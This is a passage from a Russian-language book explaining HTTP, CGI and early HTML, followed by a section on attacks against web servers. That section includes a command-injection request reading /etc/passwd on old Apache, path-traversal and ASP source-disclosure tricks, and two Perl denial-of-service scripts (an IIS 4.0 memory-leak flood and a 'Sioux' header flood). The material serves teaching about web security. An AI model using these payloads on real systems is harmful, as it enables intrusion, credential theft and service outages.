Врезка «алгоритм кодировки base64»

Битовый поток разбивается на двадцати четырех битовые сегменты, делящиеся на четыре части по 6 бит (26 == 64, отсюда и название), каждая из которых содержит один символ, кодируемый в соответствии с особой таблицей, состоящей из читабельных кодов ASCII.

Выполнить вручную перекодировку строки пароля в base64‑формат довольно-таки затруднительно, но у пользователей Windows всегда под рукой средство, автоматизирующее эту задачу. Речь идет о приложении “Outlook Express”. Достаточно настроить его надлежащим образом (в меню «Сервис» выбрать пункт «Параметры», перейти к закладке «Отправка сообщений» кликнуть по кнопке «Настойка текста»; в открывшемся диалоговом окне установить кодировку Base64) и послать письмо самому себе – оно будет автоматически перекодировано.

Врезка «алгоритм кодировки base64» - student2.ru

Рисунок 23 Настойка Outlock Express для пересылки писем в кодировке Base64

При этом строка “KPNC:MyGoodPassword”[264] будет выглядеть следующим образом (в меню «Файл» выбрать «Свойства», перейти к закладке «Подробности», кликнуть по кнопке «Исходный текст сообщения»):

· S1BOQzpNeUdvb2RQYXNzd29yZ

Полный заголовок запроса для доступа к главной странице сервера может выглядеть, например, так:

· GET / HTTP/1.0

· Authorization: Basic S1BOQzpNeUdvb2RQYXNzd29yZ

Если пароль введен правильно, то сервер вернет запрошенный ресурс. В противном случае появится сообщение об ошибке.

Врезка «замечание»

В Internet-магазинах и аналогичных системах, предъявляющих повышенное требование к безопасности, широко используется шифрование данных на уровне транспортного протокола TCP.

Популярный механизм SSL (Secure Sockets Layer) представляет собой самостоятельный протокол, применяющийся для передачи зашифрованного пароля и пользовательских данных, поверх которого могут работать как HTTP, так FTP, SMTP и другие протоколы.

Реализации SSL поддерживают множество криптоалгоритмов, таких как RSA, DES, MD5, выбираемых в зависимости от ценности и рода передаваемой информации. К сожалению, ранние версии ограничивались ключами небольшой длины, но с развитием Internet – торговли это было исправлено[265].

Изучение протокола SSL и методов криптоанализа выходит за рамки данной книги. Интересующиеся этим вопросом могут обратиться к домашней станице Павла Семьянова (http://www.ssl.stu.neva.ru/psw/), посвященной криптографии и ее безопасности.

Метод POST, аналогично PUT, предназначен для передачи данных от клиента на сервер. Однако они не сохраняются в виде файла, а передаются скрипту параметрами командой строки. С первого взгляда непонятно, какими соображениями руководствовались разработчики при введении нового метода. Ведь с этой задачей неплохо справляется и GET! Пример, приведенный ниже, доказывает справедливость такого утверждения:

· <BODY>

· <A HREF=”lightning.prohosting.com/~kpnc/cgi-bin/post.pl?user=kpnc&pass=saltmine”>

· Click</A>

· </BODY>

Рисунок 024 показывает, что параметры, передаваемые скрипту методом GET, отображаются в адресной строке браузера и доступны для изучения всем желающим. А это нехорошо с точки зрения политики безопасности.

Врезка «алгоритм кодировки base64» - student2.ru

Рисунок 024 Передача параметров методом GET

Результат работы POST незаметен для пользователя, поэтому он хорошо справляется с передачей конфиденциальных данных. Но прежде чем продолжить повествование, необходимо ознакомиться формой представления параметров.

Строго говоря, способ представления и отделения параметров друг от друга может варьироваться от разработчика к разработчику. Строка, переданная скрипту, независимо от формы записи, может быть целиком получена с помощью функции ARGV, и в этом смысле она ничем не отличается от привычной командной строки консольных приложений для MS-DOS и Windows. Тем не менее, разработчики стараются придерживаться определенных соглашений. Обычно строка параметров представляет собой совокупность лексем, разделенных символами “&”. Каждая лексема состоит из имени параметра и его значения, разделенных знаком равенства. Все нечитабельные символы заменяются знаком “%” и последующим за ним шестнадцатеричным значением символа. От имени ресурса строка параметров отделяется вопросительным знаком. Сказанное поясняет следующий пример:

· lightning.prohosting.com/~kpnc/cgi-bin/post.pl?user=kpnc&pass=saltmine

Все, находящееся слева вопросительного знака, то есть “lightning.prohosting.com/~kpnc/cgi/-bin/post.pl” называется именем ресурса (сокращенно URL или URN – Uniform Resource Name). URL состоит из имени хоста (в даннос случае “lightning.prohosting.com”), пути (“/~kpnc/cgi-bin/”) и имени файла (“post.pl”).

За именем файла следует строка параметров, образованная из двух лексем – “user=kpnc” и “pass=saltmine”. Порядок лексем не играет никакой роли, и скрипт будет работать ничуть не хуже, если их поменять местами.

Каждая лексема состоит из имени параметра («user», «pass») и его значения («kpnc» и «saltmine» соответственно). Символ пробела в значениях параметра недопустим, поэтому, если потребовалось бы «saltmine» написать раздельно[266], то это выглядело бы так “salt%20mine”.

Врезка «информация»

Любопытная особенность связана с возможностью записи одного и того же IP‑адреса огромным множеством способов. Например, его можно представить в шестнадцатеричном виде, воспользовавшись префиксом ‘0x’, тогда «209.90.125.196» (адрес узла lightning.prohosting.com) будет выглядеть как «0xD1.0x5A.0x7D.0xC4»[267]. Если число начинается с нуля, то оно трактуется как восьмеричное, и тот же адрес может быть записан как «0321.0132.0175.0304». Наконец, символ ‘b’ в окончании числа указывает на двоичную форму записи[268].

Очевидно, описанные выше способы можно комбинировать друг с другом, получая в результате этого, например, «0xD1.0132.125.0xC4» (первое и последние числа шестнадцатеричные, второе слева восьмеричное, и оставшееся – десятичное).

Вообще же, с точки зрения операционной системы любой IP‑адрес это одно 32‑битное целое, поэтому некоторые приложения[269] позволяют опустить точку-разделитель. Однако для этого необходимо предварительно перевести адрес в шестнадцатеричную форму записи. Это легко понять, так как «0xD1.0x5A.0x7D.0xC4» и «0xD15A7DC4» взаимно эквиваленты между собой. Но ничто не мешает полученный результат перевести в любую другую, например десятичную («3512368580») или восьмеричную («032126476704») нотацию[270].

Кроме этого, допустимо вместо символа использовать его ASCII‑код, предваренный знаком процента. Так, например, выражение «%32%30%39%2E%39%30%2E%31%32%35%2E%31%39%36» эквивалентно адресу «209.90.125.196»!

Но пользоваться этими хитрыми приемами, необходимо с большой осторожностью – нет никакой гарантии, что используемое клиентом программное обеспечение будет их поддерживать. Тем более не стоит оформлять таким способом ссылки на общедоступных страничках, – ведь не известно, чем воспользуется посетитель для их просмотра.

В некоторых публикациях таким способом предлагается скрывать реальный IP‑адрес сайта противозаконной тематики от работников спецслужб. Представляется сомнительным, существование в органах специалистов с квалификацией, недостаточной для решения даже такой простой задачи.

Врезка «информация»

Одним из способов аутентификации может быть передача имени пользователя и пароля в строке запроса следующим образом: http://user:pass@host/path/file

К ее недостаткам можно отнести открытую передачу пароля и его незащищенность от постороннего глаза. Поэтому такой способ в настоящее время практически вышел из употребления.

Очевидно, следует избегать появления пароля в адресной строке браузера. С этой точки зрения очень удобен метод POST, передающий значения всех параметров в теле запроса. Однако, скрипту, анализирующему данные, совершенно все равно, каким способом те были посланы – он не отличает POST от GET. Пример, приведенный ниже, доказывает это утверждение:

· GET /~kpnc/cgi-bin/post.pl?user=kpnc&pass=saltmine HTTP/1.0

·

· HTTP/1.1 200 OK

· Date: Sun, 16 Apr 2000 17:01:10 GMT

· Server: Apache/1.3.6 (Unix)

· Connection: close

· Content-Type: text/html

·

· <H1><CENTER>Simple POST Sample</CENTER>

· <HR>USER:<I>kpnc

· <BR>PASS:<I>saltmine

· POST /~kpnc/cgi-bin/post.pl HTTP/1.0

· Content-length:25

·

· user=kpnc

· &pass=saltmine

·

· HTTP/1.1 200 OK

· Date: Sun, 16 Apr 2000 17:00:34 GMT

· Server: Apache/1.3.6 (Unix)

· Connection: close

· Content-Type: text/html

·

· <H1><CENTER>Simple POST Sample</CENTER>

· <HR>USER:<I>kpnc

· <BR>PASS:<I>saltmine

Идентичность ответов сервера доказывает, что независимо от способа передачи параметров, удаленная программа работает одинаково. Причем, перенос строки в методе POST не способен отделить один параметр от другого и если символ-разделитель «&» опустить, будет обработана только одна лексема – “user=kpnc”.

Врезка «замечание»

Если возникнут затруднения с определением поля “Content‑length”, задающим длину строки параметров (что особенно характерно для работы в telnet‑клиенте), ее можно взять «с запасом», заполнив оставшийся конец мусором.

Метод POST позволяет передавать на сервер сообщения практически неограниченной длины,[271] поэтому, он позволяет организовать HTTP‑закачку файлов на сервер, даже в том случае, когда метод PUT недоступен.

Метод DELETE, как и следует из его названия, предназначен для удаления ресурсов с сервера, однако, очень трудно представить себе администратора который бы допускал ее выполнение неавторизованным пользователям. Тщательные поиски так и не помогли найти ни одного примера в сети для демонстрации, поэтому придется ограничиваться «голой» теорией[272].

На этом описание методов протокола HTTP пришлось бы и закончить, если бы в 1996 году не появилась новая, значительно улучшенная спецификация - HTTP/1.1. Подробно все нововведения описаны в RFC‑2068, здесь же будут перечислены лишь основные моменты.

Врезка «замечание»

Спецификация HTTP/1.0 поддерживает метод HEAD, который аналогичен GET, но возвращает лишь заголовок ответа, без тела сообщения.

Как правило, он используется для быстрой проверки доступности ресурса, что делает его привлекательным кандидатом на роль переборщика имен файлов, в надежде получить несанкционированный доступ к данным, «защита» которых базируется на одном лишь засекречивании ссылок. Удивительно, но такая атака часто срабатывает.

Прежде всего, требует пояснения ситуация, связанная с попыткой использования любого метода, с указанием номера новой версии. Например, на запрос “GET /~kpnc/ HTTP/1.1” сервер возвратит сообщение об ошибке 400 – “неверный запрос”. Такая ситуация продемонстрирована в примере, приведенном ниже:

· GET /~kpnc/ HTTP/1.1

·

· HTTP/1.1 400 Bad Request

· Date: Tue, 18 Apr 2000 14:18:41 GMT

· Server: Apache/1.3.6 (Unix)

· Connection: close

· Transfer-Encoding: chunked

· Content-Type: text/html

·

· 184

· <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

· <HTML>

· <HEAD>

· <TITLE>400 Bad Request</TITLE>

· </HEAD>

· <BODY>

· <H1>Bad Request</H1>

· Your browser sent a request that this server could not understand.<P>

· client sent HTTP/1.1 request without hostname

· (see RFC2068 section 9, and 14.23): /~kpnc/<P>

· <HR>

· <ADDRESS>Apache/1.3.6 Server at lightning.prohosting.com Port 80</ADDRESS>

· </BODY>

· </HTML>

Ознакомившись с ответом сервера, мысленно поблагодарим разработчиков за разъяснение причин отказа в обслуживании. Открыв секцию 14.23 технической документации RFC‑2068, можно узнать, что, начиная с версии 1.1, становиться обязательным поле “Host”, содержащее базовый адрес и порт узла. (“If the Host field is not already present… all Internet-based “HTTP/1.1” servers MUST respond with a 400 status code to any “HTTP/1.1” request message which lacks a Host header field”). Впрочем, указывать порт необязательно, при его отсутствии сервер использует значение по умолчанию[273]. Такой механизм позволяет отличать gateway‑серверам внутренние ссылки от внешних, оптимизируя сетевой трафик.

Поэтому, запрос должен выглядеть приблизительно следующим образом (необходимые пояснения даны ниже):

· ; Подключение узлу kpnc.softclub.net

· TRACE /hello HTTP/1.1

· Host:kpnc.softclub.net

·

· HTTP/1.1 200 OK

· Date: Tue, 18 Apr 2000 18:37:47 GMT

· Server: Apache/1.3.12 (Unix) mod_perl/1.22 AuthMySQL Plus/2.20.2 PHP/3.0.14 rus/PL29.4

· Transfer-Encoding: chunked

· Content-Type: message/http

·

· 32

· TRACE /hello HTTP/1.1

· Host: kpnc.softclub.net

Метод TRACE[274] очень сильно напоминает Echo (эхо), используемое для тестирования качества линии связи и быстроты реакции сервера. Получив TRACE‑запрос, узел должен немедленно вернуть его отправителю, указав в факультативном[275] поле “Age” количество секунд, потраченных сервером на обработку запроса. Это позволяет администраторам инспектировать сетевой трафик, пользователям – выбирать быстрейший сервер из нескольких зеркал, а злоумышленникам оценивать пагубность влияния различных запросов на сервер, направленных на попытку добиться отказа в обслуживании.

Врезка «информация»

На сегодняшний день большинство серверов не поддерживают спецификацию ниже HTTP/1.1, отказываясь обслуживать устаревшего клиента. www.prohosting.com – один из немногих, которых удалось найти автору этой книги для демонстрации запросов HTTP/0.9 и HTTP/1.0

Дополнительная информация о сервере может быть получена с помощью метода “OPTIONS” с указанием символа-джокера вместо имени ресурса (возвратить всю доступную информацию).

Например:

· OPTIONS * HTTP/1.1

· Host:kpnc.softclub.net

·

· HTTP/1.1 200 OK

· Date: Tue, 18 Apr 2000 19:00:58 GMT

· Server: Apache/1.3.12 (Unix) mod_perl/1.22 AuthMySQL Plus/2.20.2 PHP/3.0.14 rus/PL29.4

· Content-Length: 0

· Allow: GET, HEAD, OPTIONS, TRACE

В приведенном примере сервером сообщается установленное на нем программное обеспечение (вплоть до версии реализации) и разрешенные методы – GET, HEAD, OPTIONS, TRACE; очевидно, среди них нет ни PUT, ни DELETE, ни даже POST (администратор этого узла не сумасшедший).

Информация подобного рода значительно облегчает злоумышленнику поиск дыр в системе безопасности, потому что он может воссоздать конфигурацию сервера на собственной машине и целенаправленно исследовать код приложений на предмет ошибок, позволяющих неавторизованному пользователю получить привилегированный доступ.

Дополнение. Протокол CGI

Ø В этой главе:

Ø Краткая история создания и развития протокола CGI

Ø Устройство и назначение протокола CGI

Ø Перечень популярных CGI-переменных

Вопреки распространенному заблуждению неразрывности HTTP и CGI, последний представляет собой самостоятельный протокол, возникший еще в те незапамятные времена, когда web‑серверов и в помине не существовало.

Первые, робкие попытки использования CGI‑протокола HTTP-серверами относятся к 1993 году, когда возникла необходимость обрабатывать формы, заполняемые пользователем и генерировать динамические страницы, выводящие, например, результаты некоторого поиска.

Традиционный HTML этого делать не умел, о Java еще никто не слышал, поэтому единственным выходом представлялось использование для этой цели внешних программ, написанных, например, на Си и исполняющихся на сервере.

Основная проблема заключалась в стандартизации механизма взаимодействия между клиентом и удаленной программой. Интерфейс CGI занимается ничем иным, как обработкой клиентских запросов и доставкой результатов работы внешних программ.

Техническая реализация этого процесса выглядит следующим образом – каждый раз при запросе на запуск скрипта (смотри методы GET и POST), HTTP‑сервер создает виртуальную среду, в которой выполняется требуемый файл. Обмен данными осуществляется через стандартный ввод‑вывод (тело сообщения) и переменные окружения (HTTP‑заголовок).

Таким образом, стало возможным разрабатывать программы с использованием стандартных библиотек. Все заботы согласования с протоколом взял на себя интерфейс CGI.

Вот неполный список наиболее популярных переменных, в которых сохраняются значения некоторых полей HTTP-заголовка:

Переменная Поле HHTP Значение
AUTH_TYPE Authorization Механизм аутентификации
CONTENT_LENGTH Content-Length Длина тела сообщения
CONTENT_TYPE Content-Type Тип данных тела сообщения
QUERY_STRING   Строка параметров ресурса
REMOTE_ADDR   IP адрес клиента[276]
REQUEST_METHOD   Используемый метод (GET, POST…)

Все изменения этих переменных будут проигнорированы сервером, поэтому, прежде чем приступить к передаче результатов своей работы, скрипт должен, воспользовавшись стандартным выводом, сформировать HTTP‑заголовок ответа, отделенный от тела сообщения пустой строкой.

Именно для этого в каждый Perl‑скрипт должна быть включена строка ‘print “Content‑type: text/html\n\n”;’, иначе возникнет ошибочная ситуация.

Врезка «замечание»

В некоторых ситуациях, динамическая страница не генерируется, а всего лишь перенаправляется запрос на другой сервер или ресурс, изменением поля “Location:” в HTTP-заголовке.

Если результатом работы скрипта является двоичный файл солидных размеров, настоятельно рекомендуется включить в заголовок поле “Content‑Length”, чтобы клиентское программное обеспечение могло корректно отображать бегунок прогресса. Сказанное выше справедливо и для обработки пользовательских запросов. Чтобы узнать длину переданных данных, скрипт должен считать переменную CONTENT_LENGTH.

Грубый пример, подпрограммы, читающей запрос пользователя, на языке Си может выглядеть так:

· fgets(*buffer,getevn(“CONTENT_LENGTH”),stdin);

Широко известный скрипт «test-cgi»[277], является не более чем тривиальным командным файлом для оболочки "sh” (UNIX), который выводит переменные окружения посредством команды «echo».

· #!/usr/bin/sh

· echo Content-type: text/plain

· echo

· echo SERVER_SOFTWARE = $SERVER_SOFTWARE

· echo SERVER_NAME = $SERVER_NAME

· echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE

· echo SERVER_PROTOCOL = $SERVER_PROTOCOL

· echo SERVER_PORT = $SERVER_PORT

· echo REQUEST_METHOD = $REQUEST_METHOD

· echo HTTP_ACCEPT = "$HTTP_ACCEPT"

· echo PATH_INFO = $PATH_INFO

· echo PATH_TRANSLATED = $PATH_TRANSLATED

· echo SCRIPT_NAME = $SCRIPT_NAME

· echo QUERY_STRING = $QUERY_STRING

· echo REMOTE_HOST = $REMOTE_HOST

· echo REMOTE_ADDR = $REMOTE_ADDR

· echo REMOTE_USER = $REMOTE_USER

· echo CONTENT_TYPE = $CONTENT_TYPE

· echo CONTENT_LENGTH = $CONTENT_LENGTH

· SERVER_SOFTWARE = Apache/1.3.12 (Unix) mod_perl/1.22 AuthMySQL Plus/2.20.2 PHP/3.0.14 rus/PL29.4

· SERVER_NAME = kpnc.softclub.net

· GATEWAY_INTERFACE = CGI/1.1

· SERVER_PROTOCOL = HTTP/1.1

· SERVER_PORT = 80

· REQUEST_METHOD = GET

· HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*

· PATH_INFO =

· PATH_TRANSLATED =

· SCRIPT_NAME = /cgi-bin/test-cgi

· QUERY_STRING = user=kpnc&pass=salt%20mine

· REMOTE_HOST = ppp-05.krintel.ru

· REMOTE_ADDR = 195.161.41.229

· REMOTE_USER =

· CONTENT_TYPE =

· CONTENT_LENGTH =

Врезка «замечание»

После сказанного становиться понятно, что термин «CGI-приложения» технически неграмотен. На самом деле следовало бы говорить «приложения, выполняющиеся на удаленной машине и взаимодействующие с клиентом через CGI-интерфейс».

Впрочем, правила CGI не столь строги и достаточно прозрачны, поэтому временами можно забывать какой посредник обеспечивает обмен данными.

Дополнение. Язык HTML

Протокол HTTP был разработан как одна из возможных (и, как оказалось впоследствии не самых лучших) реализацией языка гипертекста HTML (Hyper text Markup Language).

В середине восьмидесятых годов наиболее популярным способом распространения информации в Internet был… терминал telnet. Недостатком такого подхода была необходимость работы в реальном времени и изучения команд интерфейса удаленной программы (каждый раз разных).

Врезка «замечание»

«Легче один раз увидеть, чем сто раз услышать» говорит народная мудрость и это правильно. Получить представление обо всех достоинствах и неудобствах работы с telnet можно, подключившись к одному из перечисленных ниже серверов, которые до сих пор продолжают работать по старой схеме.

Большая BBS, посвященная математике
telnet://newton.dep.anl.gov(Имя пользователя “bbs”)

Библиотека Конгресса США
telnet://locis.loc.gov

Неизгладимые впечатления на поклонников первых игр «Sierra» оставляют виртуальные миры MUD (multi-user dungeon). Посетите один из следующих серверов.

«Аладон»
telnet://mud.donetsk.ua:9000

Sloth III
telnet://slothmud.org:6101

Первая программная реализация платформенно - независимого гипертекста появилась, по крайней мере, за год до изобретения WEB и предназначалась для комфортного просмотра локальных документов. В отличие от своих безвестно забытых ныне предшественников, новая разработка, обладала богатыми возможностями форматирования текста, что облегчало восприятие информации. Первый браузер появился в Женевской лаборатории ядерной физики в 1990 году и назывался «WWW».

Новинка долгое время оставалась незамеченной, и вплоть до 1994 года шли ожесточенные споры о перспективах развития WEB. Большинство не хотело отказываться от привычных в то время систем Gopher и telnet.

К тому же, HTML не обладал даже зачатками интерактивности, (то есть механизмами взаимодействия с пользователем). Станицы, хранящиеся на сервере, были полностью статичны, клиент мог лишь запросить одну из них на выбор.

Внедрение поддержки CGI шло медленно и неохотно. Первые реализации появились только в 1993 году, и еще долгое время оставались не более чем интересной экзотикой. Это легко понять, если вспомнить, что представляла собой Сеть в то время. «Большие компьютеры» под управлением UNIX предоставляли доступ к научным базам данных, конвертировать которые в HTML ни у кого не было ни возможности, ни желания. Существовала разветвленная сеть электронной почты и телеконференций. Для поиска информации и путешествий между серверами использовался симпатичный крот «Gopher», справляющийся с этим ничуть не хуже современных WEB-ориентированных поисковых систем. В WWW просто не было необходимости.

Немногим позже на рынке появилась фирма Netscape, которой было необходимо что-то выложить на алтарь, для «раскрутки» клиентов. Изучив рынок, она сделала ставку на молодое поколение пользователей, опытным путем осваивающим мышь, и с опаской поглядывающих на клавиатуру и черный экран telnet. В то время уже существовали графические операционные системы, и WEB выглядел привлекательным кандидатом для реализации визуального клиента, интуитивно-понятного начинающим пользователям (попробуйте, например, вообразить себе Visual Telnet).

Работать с браузером, а именно такое название получил HTTP‑клиент, мог даже ребенок, и на фоне надвигающийся «юзерризации» его популярность была неизбежна. Благодаря этому, современный Internet на 90% состоит из красивой, но абсолютно бессодержательной графики и подобных средств повышения выразительности… Коммерческий подход заставил забыть всех одну простую истину – информация это в первую очередь не форма, а содержание. А вот с содержанием у большинства Internet – страничек приходится ой как туго. Но это не повод для пессимизма, если вспомнить, что с поиском дела обстоят еще хуже. Поневоле с ностальгией вспоминаешь «старые, добрые времена», когда серверов в мире было всего сеть, но каждый из них был полон информацией до отказа…

Атака на WEB-сервер.

Под атакой на WEB-сервер подразумевается нарушение нормальной работоспособности узла, удаление или модификация его содержимого или получение привилегированного доступа к машине.

В соответствии с этим, все атаки можно разделить на две группы – связанные с ошибками администрирования (например, разрешение методов PUT и DELETE, о чем подробно рассказано в главе «Протокол HTTP») и ошибками программной реализации сервера (например, переполнение полей методов, детально рассмотренное в главе «Технологии срыва стека»).

Отдельным пунктом идут проблемы безопасности скриптов и активных серверных приложений. Разумеется, они так же могут разрушить содержимое сайта, но повлиять на сервер свыше отведенных администратором прав, оказываются не в состоянии.

Врезка «замечание»

Массовые атаки на WEB-сервера, лидирующие с большим отрывом ото всех других инцидентов, привели обывателей к устойчивой ассоциации между хакерами и разрисованными страничками, используемыми в качестве забора для своего graffiti. С точки зрения журналистов – это наиболее зрелищные происшествия, поэтому с большой осторожностью следует пользоваться официальной статистикой зарегистрированных атак в Internet. Большинство выборок заведомо будут нерепрезентативными, фиксируя внимание на визуальных эффектах злоумышленников. Скрытые же проникновения, если и обнаруживаются администраторами, то чаще всего остаются не разглашенными.

Напротив, представляет интерес выяснить, какой процент от объявленных взломов имел место на самом деле. Фальсификация атаки владельцами ресурса служит неплохой рекламой «мы настолько популярны, что злобные завистники-конкуренты нас попытались взломать и сумели подменить главную страничку аж, на целых пять минут!» – знакомые заявления, не правда ли?

Наибольшую опасность представляют атаки, базирующиеся на ошибках программных реализаций HTTP‑серверов, и потенциально могут привести к захвату полного контроля над машиной с получением привилегий администратора. Особенно это характерно для UNIX‑подобных операционных систем, предоставляющих серверным приложениям наивысшие привилегии.

Распространенный источник ошибок – использование сервером системных вызовов операционной системы с передачей параметров, полученных от пользователя. Такая опасность была предсказана еще в первых спецификациях протокола HTTP, но не обратила на себя внимания разработчиков.

В главе «Атака на NTTP-сервер» уже упоминалась ситуация с приложением «InterNetNews 1.5», использующим вызов “eval” для обработки управляющих сообщений. Аналогичный подход в отношении WEB‑серверов стал скорее правилом, чем досадным исключением.

Из соображений безопасности по HTTP не представляется доступа к физическим каталогам. Вместо этого клиент работает с виртуальными директориями, которых может и вовсе не существовать на диске. Точнее говоря, соответствие между видимой и действительной файловой структурой далеко не однозначное и зависит от настойки WEB‑сервера.

Теоретически можно организовать собственную файловую систему поверх уже существующей, тем самым обеспечивав принципиальную невозможность пагубного воздействия на ресурсы операционной системы[278], но практически программисты, в стремлении облегчить себе жизнь, используют менее затейливые алгоритмы, так или иначе сводящиеся к ретрансляции имен и их последующей обработке операционной системой.

Например, HTTP-сервер может быть настроен так, что бы запрос “GET /” переадресовывался в «C:\wwwroot\». Программно это реализуется тривиальным слиянием двух строк. Такой механизм работает нормально, до тех пор, пока атакующей не догадается воспользоваться командой перехода на один уровень вверх, послав вполне корректный с точки зрения операционной системы запрос “GET ../”. Такая ошибка была обнаружена, например, в «Microsoft Personal Web Server».

В настоящее время разработчики используют различные системы программных фильтров, для предотвращения подобных ситуаций. Иногда это приводит к забавным казусам. Например, дополнительные символы “/” могут вызвать непредсказуемое поведение некоторых серверов – от предоставления несанкционированного доступа до полного «зависания».

Врезка «информация»

До сих пор в сети можно встретить древние «Apache»-сервера, использующие примитивный алгоритм удаления дублирующихся символов “/”. Если при сканировании адресной строки, встречалась пара символов “/”, то один из них удалялся. Затем все повторялось до тех пор, пока в очередном проходе происходило хотя бы одно изменение.

Нетрудно оценить рост сложности в зависимости от количества подряд идущих символов “/”. Время анализа пропорционально квадрату количества слешей в строке, что позволяет осуществить атаку на отказ в обслуживании запросом, содержащим достаточно больше количество (порядка нескольких тысяч) повторяющихся слешей.

В современных версиях это исправлено, но далеко не все администраторы обновили свои сервера, поэтому угроза атаки «отказа в обслуживании» все еще остается актуальной.

Врезка «информация»

Старые версии Apache позволяли выполнять любые команды на сервере, стоило им послать следующий запрос “GET /cgi-bin/script?var=value%0Acommand”. Все, что находилось справа от символа перевода каретки, передавалось оболочке операционной системы (Shell) на выполнение.

Например, получить файл паролей можно так:

· GET /cgi-bin/test-cgi?kpnc=hacker%0a/bin/cat%20/etc/passwd

· root:x:0:0:root:/root:/bin/bash

· daemon:x:1:1:daemon:/usr/sbin:/bin/sh

· bin:x:2:2:bin:/bin:/bin/sh

· sys:x:3:3:sys:/dev:/bin/sh

· sync:x:4:100:sync:/bin:/bin/sync

· games:x:5:100:games:/usr/games:/bin/sh

· man:x:6:100:man:/var/catman:/bin/sh

· lp:x:7:7:lp:/var/spool/lpd:/bin/sh

· mail:x:8:8:mail:/var/spool/mail:/bin/sh

· news:x:9:9:news:/var/spool/news:/bin/sh

· uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

· proxy:x:13:13:proxy:/bin:/bin/sh

· majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh

· postgres:x:31:32:postgres:/var/postgres:/bin/sh

· www-data:x:33:33:www-data:/var/www:/bin/sh

· backup:x:34:34:backup:/var/backups:/bin/sh

· msql:x:36:36:Mini SQL Database[279]

Врезка «информация»

Седьмого ноября 1997 года в «Базе Знаний» Microsoft появилась маленькая техническая заметка под номером Q168501, с первых строк гласящая следующее: «Microsoft Active Server Pages (ASP) download instead of executing, even after you install the ASP fix for IIS[280]» Об этой досадной ошибке уже упоминалась во врезке к главе «Протокол HTTP». Казалось бы, что вторая(!) по счету заплатка должна была решить все проблемы, ан, нет[281]

Злую шутку сыграло различие длинных и коротких имен файлов в Windows NT. Виртуальные директории, иначе называемые псевдонимами[282], всегда ссылались на полный путь к папке. Например, физическому каталогу «С:\InetPub\wwwroot\cgi‑scripts» мог быть присвоен псевдоним “/cgi‑scripts”. Виртуальные атрибуты запрещали чтение любых содержащихся в нем файлов. И это работало, пока кому-то не пришла в голову мысль, воспользоваться коротким имением «/cgi-sc~1/». Операционная система правильно обрабатывала запрос, но виртуального каталога с таким именем не существовало! Поэтому «it would reference the file through the physical directory structure. Therefore, it would load the ASP file with the roots access of Read».

Администраторам было рекомендовано отказаться от использования длинных имен в папках для хранения исполняемых файлов. Если бы это не было связано с необходимостью внесения изменения практически во все файлы сайта, безусловно, так бы и поступили. Поэтому, до сих пор в сети находятся сервера, уязвимые против такой простой атаки – их владельцы посчитали подобные меры защиты экономически нецелесообразными.

Врезка «информация»

С ASP связана еще одна малоизвестная ошибка, приводящая к возможности просмотра исходного кода вместо его исполнения. В большинстве случаев разработчики используют включаемые («.inc») файлы для удобства программирования. Что бы постоянно не указывать полный путь, его часто добавляют в глобальную переменную PATH.

Это приводит к тому, что содержимое INCLUDE‑директории становится доступно всем посетителям сайта, достаточно лишь передать серверу следующий запрос "GET /SomeScript.inc”.

Единственная проблема – угадать имена файлов. Учитывая, склонность разработчиков к осмысленным названиям, можно попробовать воспользоваться словарной атакой.

Врезка «Информация»

Любопытная ситуация связана с «AnalogX SimpleServer 1.03». Если путь к ресурсу, запрашиваемому методом GET, окажется равен именно семнадцати символам возникнет аварийная ситуация из-за ошибки в модуле «emu-str.c»

Например: “GET /cgi-bin/goodkpnc HTTP/1.0” в окне telnet, или “http://www.SimpleServer103.com/cgi-bin/goodkpnc” в любом браузере.

Врезка «Информация»

В новой, четвертой версии, «Microsoft Internet Information Server» была обнаружена грубая ошибка, приводящая к утечке памяти и быстрому краху системы. При передаче данных методами POST или PUT, сервер отводил затребованное в поле Content‑Length количество памяти. Если клиент длительное время не проявлял никакой активности, соединение разрывалось, но память не освобождалась!

#!/usr/local/bin/perl -w

use Socket;

print "Content-type: text/html\n\n";

print "<BODY> <H1><CENTER>”;

print “IIS 4.0 Memory Leack</H1></CENTER><HR><BR>\n";

$count=1;

$size=10240;

$N=100;

while ($count<$N)

{

socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);

connect(SRV, sockaddr_in(80,inet_aton('www.iis40.com')));

send(SRV, "POST /cgi-bin/test-cgi HTTP/1.0\n",0);

send(SRV,"Content-Length:$size\n\n",0);

$count++;

print "Content-Length:$size\n";

print "<BR>";

}

Приведенный пример[283] посылает 100 запросов с требованием выделить 10 килобайт памяти для каждого из них. В результате этого, 100x10 == 1000 килобайт оказываются потерянными[284]

Врезка «информация»

Скорее комичная, чем опасная ошибка была обнаружена в… принтере «HP LaserJet 4500 + HP JetDirect J3111A», имеющим встроенный Web-сервер, предназначенный для удаленного администрирования. Неумеренно длинный запрос GET приводил к выдаче на печать страницы диагностики. Атакующий мог в короткое время привести в негодность всю бумагу, находящуюся в лотке и блокировать остальные задания на печать.

Ошибки такого типа относятся к досадным промахам разработчиков и обычно никакого интереса не представляют. В самом деле, шансы встретить на произвольно взятом узле требуемую для атаки конфигурацию, очень малы и все продолжают уменьшаться с каждым днем с момента опубликования информации об ошибке.

Гораздо большую опасность представляют концептуальные уязвимости, одинаково хорошо работающие на любых платформах, операционных системах и серверах. Одним из недостатков протокола HTTP является неограниченный размер заголовка запроса. А ведь для его хранения и обработки требуется некоторое количество памяти и процессорного времени!

Забросав сервер, огромными, бессмысленными (или осмысленными – это роли не играет) заголовками, можно значительно ухудшить его производительность, вплоть до полного отказа в обслуживании остальных клиентов.

Именно эта бесхитростная технология и была положена в основу Sioux[285] - атак, один из примеров программной реализации которой показан ниже[286].

· #!/usr/local/bin/perl -w

· use Socket;

· print "Content-type: text/html\n\n";

· print "<BODY> <H1><CENTER>Sioux Attack</H1></CENTER><HR><BR>\n";

· $size=16384;

· $N=20000;

·

· socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));

· connect(SRV, sockaddr_in(80,inet_aton('www.sacrificial.com')));

·

· send(SRV, "GET / HTTP/1.0\n",0);

· $devastating=('x'x$size);

· $count=1;

· while ($count<$N)

· {

· send(SRV,"Field$count:$devastating\n",0);

· $count++;

· print "Field$N:$devastating\n";

· print "<BR>";

· }

